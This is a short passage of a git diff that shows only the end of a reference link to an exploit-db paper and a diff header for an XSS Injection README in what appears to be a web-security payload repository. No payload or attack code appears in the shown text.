ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975) \ No newline at end of file diff --git a/XSS Injection/README.md b/XSS Injection/README.md index 747ed95..684adcd 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -1004,7 +1004,9 @@ Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.wi